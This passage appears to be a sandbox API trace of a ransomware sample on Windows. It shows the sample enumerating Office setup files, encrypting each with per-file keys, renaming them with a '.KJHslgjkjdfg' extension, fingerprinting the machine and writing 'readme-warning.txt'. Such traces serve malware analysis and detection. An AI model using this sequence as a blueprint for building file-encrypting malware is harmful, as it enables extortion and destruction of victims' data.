ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.271] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0143.271] GetProcessHeap () returned 0x2a0000 [0143.271] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2cc) returned 0x2f7730 [0143.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.271] GetProcessHeap () returned 0x2a0000 [0143.271] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.271] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.271] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.271] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xb, lpOverlapped=0x0) returned 1 [0143.273] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.273] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.273] GetProcessHeap () returned 0x2a0000 [0143.273] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.274] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.274] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.274] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.274] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.274] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.274] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.274] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.274] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.274] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.274] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.274] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.274] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x545, lpOverlapped=0x0) returned 1 [0143.275] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x550, dwBufLen=0x550 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x550) returned 1 [0143.275] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.275] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x550, lpOverlapped=0x0) returned 1 [0143.275] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.275] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.275] SetEndOfFile (hFile=0x13c) returned 1 [0143.278] GetProcessHeap () returned 0x2a0000 [0143.278] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.278] GetProcessHeap () returned 0x2a0000 [0143.278] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.kjhslgjkjdfg")) returned 1 [0143.278] CloseHandle (hObject=0x13c) returned 1 [0143.279] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0143.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.280] GetProcessHeap () returned 0x2a0000 [0143.280] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.280] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.280] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.284] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xd, lpOverlapped=0x0) returned 1 [0143.286] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.286] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.286] GetProcessHeap () returned 0x2a0000 [0143.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.286] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.286] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.286] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.286] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.286] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.286] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.286] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.286] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.286] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.286] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.286] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.286] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x333, lpOverlapped=0x0) returned 1 [0143.287] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x340, dwBufLen=0x340 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x340) returned 1 [0143.287] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.287] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x340, lpOverlapped=0x0) returned 1 [0143.287] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.287] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.287] SetEndOfFile (hFile=0x13c) returned 1 [0143.289] GetProcessHeap () returned 0x2a0000 [0143.289] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.289] GetProcessHeap () returned 0x2a0000 [0143.289] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.kjhslgjkjdfg")) returned 1 [0143.290] CloseHandle (hObject=0x13c) returned 1 [0143.290] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.291] GetProcessHeap () returned 0x2a0000 [0143.291] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.291] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.291] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.291] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.291] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.291] GetProcessHeap () returned 0x2a0000 [0143.291] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.291] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.291] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.291] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.293] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.293] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.293] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.293] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.293] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.294] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.294] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.294] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.294] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0xa40, lpOverlapped=0x0) returned 1 [0143.294] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xa40, dwBufLen=0xa40 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0xa40) returned 1 [0143.294] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.294] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0xa40, lpOverlapped=0x0) returned 1 [0143.294] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.294] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.294] SetEndOfFile (hFile=0x13c) returned 1 [0143.296] GetProcessHeap () returned 0x2a0000 [0143.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.296] GetProcessHeap () returned 0x2a0000 [0143.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.297] CloseHandle (hObject=0x13c) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.297] GetProcessHeap () returned 0x2a0000 [0143.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.297] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.297] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.297] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.297] GetProcessHeap () returned 0x2a0000 [0143.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.297] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.298] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.298] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.298] GetProcessHeap () returned 0x2a0000 [0143.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.298] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.298] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.298] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.298] GetProcessHeap () returned 0x2a0000 [0143.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.298] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.298] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.298] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.298] GetProcessHeap () returned 0x2a0000 [0143.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.298] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.298] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.298] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.298] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.299] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.299] RegCloseKey (hKey=0x13c) returned 0x0 [0143.299] GetProcessHeap () returned 0x2a0000 [0143.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.299] GetProcessHeap () returned 0x2a0000 [0143.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.299] GetProcessHeap () returned 0x2a0000 [0143.299] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.299] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.299] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.299] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.299] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.299] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.299] GetProcessHeap () returned 0x2a0000 [0143.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.299] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.299] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.299] GetProcessHeap () returned 0x2a0000 [0143.299] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.300] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\readme-warning.txt") returned 111 [0143.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.300] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.301] CloseHandle (hObject=0x13c) returned 1 [0143.301] GetProcessHeap () returned 0x2a0000 [0143.301] 